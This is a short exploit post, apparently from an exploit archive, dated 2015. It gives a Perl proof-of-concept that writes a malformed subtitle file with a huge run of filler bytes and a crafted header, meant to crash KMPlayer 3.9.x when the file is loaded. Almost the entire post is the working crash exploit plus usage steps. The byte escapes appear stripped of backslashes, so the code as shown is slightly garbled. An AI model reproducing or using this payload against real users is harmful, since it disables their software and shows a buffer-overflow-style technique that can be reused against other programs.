KMPlayer 3.9.x Denial Of Service
Posted on 09 August 2015
#!/usr/bin/perl -w # Title : KMPlayer 3.9.x - Crash Proof Of Concept # Company : http://www.kmplayer.com # Tested : Windows 7 / Windows 8.1 # # # Author : Peyman Motevalli Manesh # Linkedin : https://ir.linkedin.com/in/peymanmotevalli # E-Mail : me[at]PDPnetwork[dot]ir # Website : www.PDPnetwork.ir # FaceBook : https://www.facebook.com/Peyman.Motevalli # # # 1 . run perl code : perl km.pl # 2 . open "kmplayer" # 3 . Load Subtitle (Peyman.srt) # 4 . Crashed $eheader="x00x00x00x00x00x00x00x00x00x00x00x00x46x14"; $h="x42"x9850; $poc="x41"x500000; $poc="$h$poc$eheader"; open (Peyman, '>Peyman.srt'); for ($i=1;$i<=4;$i++){ print Peyman "$i 00:00:01,800 --> 00:00:05,500 "; print Peyman $poc; } close (Peyman);
